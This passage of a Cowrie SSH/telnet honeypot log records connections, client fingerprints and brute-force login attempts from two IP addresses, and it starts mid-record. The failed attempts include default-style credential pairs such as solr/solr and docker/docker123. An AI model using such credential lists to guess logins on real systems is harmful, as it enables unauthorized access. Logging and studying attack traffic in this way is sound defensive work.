cm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:16.191888Z","src_ip":"31.40.204.166","session":"4348bf9f66a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:16.695247Z","src_ip":"31.40.204.166","session":"4348bf9f66a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:18.120091Z","src_ip":"31.40.204.166","session":"4348bf9f66a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37114,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9b7aaba3e67","protocol":"telnet","message":"New connection: 152.42.224.71:37114 (10.17.0.5:23) [session: b9b7aaba3e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:18.579306Z"}
{"eventid":"cowrie.session.closed","duration":42.88937568664551,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:19.400255Z","src_ip":"152.42.224.71","session":"74c03072985f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37116,"dst_ip":"10.17.0.5","dst_port":23,"session":"0609fd0f0c5f","protocol":"telnet","message":"New connection: 152.42.224.71:37116 (10.17.0.5:23) [session: 0609fd0f0c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:25.190271Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42908,"dst_ip":"10.17.0.5","dst_port":23,"session":"870fa6783783","protocol":"telnet","message":"New connection: 152.42.224.71:42908 (10.17.0.5:23) [session: 870fa6783783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:26.822758Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50908,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb3632ecb281","protocol":"ssh","message":"New connection: 31.40.204.166:50908 (159.203.135.109:22) [session: cb3632ecb281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:27.386750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:27.391696Z","src_ip":"31.40.204.166","session":"cb3632ecb281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:27.514314Z","src_ip":"31.40.204.166","session":"cb3632ecb281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42902,"dst_ip":"10.17.0.5","dst_port":23,"session":"d49391a3dfa2","protocol":"telnet","message":"New connection: 152.42.224.71:42902 (10.17.0.5:23) [session: d49391a3dfa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:27.730786Z"}
{"eventid":"cowrie.login.failed","username":"solr","password":"solr","message":"login attempt [solr/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:28.180948Z","src_ip":"31.40.204.166","session":"cb3632ecb281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:29.312795Z","src_ip":"31.40.204.166","session":"cb3632ecb281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42922,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdad5db40f7a","protocol":"telnet","message":"New connection: 152.42.224.71:42922 (10.17.0.5:23) [session: bdad5db40f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:29.730799Z"}
{"eventid":"cowrie.session.closed","duration":39.245550870895386,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:37.207836Z","src_ip":"152.42.224.71","session":"e6db46670dd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.62631034851074,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:37.467357Z","src_ip":"152.42.224.71","session":"5b2174244496","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.618253469467163,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:37.971241Z","src_ip":"152.42.224.71","session":"82c160a06a60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.08440589904785,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:38.577984Z","src_ip":"152.42.224.71","session":"baf9a460a965","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60406,"dst_ip":"159.203.135.109","dst_port":22,"session":"11ea1de5ce2c","protocol":"ssh","message":"New connection: 31.40.204.166:60406 (159.203.135.109:22) [session: 11ea1de5ce2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:39.183288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:39.194650Z","src_ip":"31.40.204.166","session":"11ea1de5ce2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:39.307971Z","src_ip":"31.40.204.166","session":"11ea1de5ce2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:39.890728Z","src_ip":"31.40.204.166","session":"11ea1de5ce2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.16763257980347,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:39.954449Z","src_ip":"152.42.224.71","session":"10ff823a2ef5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50014,"dst_ip":"10.17.0.5","dst_port":23,"session":"f30145a41ff3","protocol":"telnet","message":"New connection: 152.42.224.71:50014 (10.17.0.5:23) [session: f30145a41ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:40.106515Z"}
{"eventid":"cowrie.session.closed","duration":106.74673962593079,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:41.017191Z","src_ip":"152.42.224.71","session":"7e2f5375731c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:41.193434Z","src_ip":"31.40.204.166","session":"11ea1de5ce2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57224,"dst_ip":"159.203.135.109","dst_port":22,"session":"d644f365338a","protocol":"ssh","message":"New connection: 31.40.204.166:57224 (159.203.135.109:22) [session: d644f365338a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:50.887258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:50.891964Z","src_ip":"31.40.204.166","session":"d644f365338a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:51.021849Z","src_ip":"31.40.204.166","session":"d644f365338a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:51.513888Z","src_ip":"31.40.204.166","session":"d644f365338a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45308,"dst_ip":"10.17.0.5","dst_port":23,"session":"90a67c35749a","protocol":"telnet","message":"New connection: 152.42.224.71:45308 (10.17.0.5:23) [session: 90a67c35749a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:52.780000Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45312,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a57e0437fa0","protocol":"telnet","message":"New connection: 152.42.224.71:45312 (10.17.0.5:23) [session: 0a57e0437fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:52.789622Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:52.797404Z","src_ip":"31.40.204.166","session":"d644f365338a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0055422782898,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:57.475592Z","src_ip":"152.42.224.71","session":"f0c3140c284d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0035457611084,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:43:59.251389Z","src_ip":"152.42.224.71","session":"8240e84baded","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49638,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb3903493055","protocol":"telnet","message":"New connection: 152.42.224.71:49638 (10.17.0.5:23) [session: eb3903493055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:00.245195Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49650,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1bf1c5a48c2","protocol":"telnet","message":"New connection: 152.42.224.71:49650 (10.17.0.5:23) [session: c1bf1c5a48c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:01.327540Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56128,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e9e86264676","protocol":"ssh","message":"New connection: 31.40.204.166:56128 (159.203.135.109:22) [session: 4e9e86264676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:02.481853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:02.595033Z","src_ip":"31.40.204.166","session":"4e9e86264676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:02.620987Z","src_ip":"31.40.204.166","session":"4e9e86264676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing@1234","message":"login attempt [testing/testing@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:03.211090Z","src_ip":"31.40.204.166","session":"4e9e86264676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49658,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bc4f0e533ad","protocol":"telnet","message":"New connection: 152.42.224.71:49658 (10.17.0.5:23) [session: 9bc4f0e533ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:03.920015Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:04.398764Z","src_ip":"31.40.204.166","session":"4e9e86264676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.733110666275024,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:05.463740Z","src_ip":"152.42.224.71","session":"d49391a3dfa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.32891321182251,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:12.519052Z","src_ip":"152.42.224.71","session":"0609fd0f0c5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.64438199996948,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:12.750774Z","src_ip":"152.42.224.71","session":"f30145a41ff3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50372,"dst_ip":"10.17.0.5","dst_port":23,"session":"875ef300c0ad","protocol":"telnet","message":"New connection: 152.42.224.71:50372 (10.17.0.5:23) [session: 875ef300c0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:13.461042Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53108,"dst_ip":"159.203.135.109","dst_port":22,"session":"db513b5290ea","protocol":"ssh","message":"New connection: 31.40.204.166:53108 (159.203.135.109:22) [session: db513b5290ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:13.810015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:13.815409Z","src_ip":"31.40.204.166","session":"db513b5290ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:13.993539Z","src_ip":"31.40.204.166","session":"db513b5290ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:14.518728Z","src_ip":"31.40.204.166","session":"db513b5290ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50388,"dst_ip":"10.17.0.5","dst_port":23,"session":"64852ec8b89d","protocol":"telnet","message":"New connection: 152.42.224.71:50388 (10.17.0.5:23) [session: 64852ec8b89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:15.281546Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:15.701424Z","src_ip":"31.40.204.166","session":"db513b5290ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.144633054733276,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:20.389678Z","src_ip":"152.42.224.71","session":"eb3903493055","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.07686948776245,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:21.996782Z","src_ip":"152.42.224.71","session":"9bc4f0e533ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33880,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c8831bb2c1f","protocol":"telnet","message":"New connection: 152.42.224.71:33880 (10.17.0.5:23) [session: 3c8831bb2c1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:23.719174Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37916,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d9cbd865030","protocol":"ssh","message":"New connection: 31.40.204.166:37916 (159.203.135.109:22) [session: 7d9cbd865030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:26.183353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:26.199088Z","src_ip":"31.40.204.166","session":"7d9cbd865030","protocol":"ssh"}
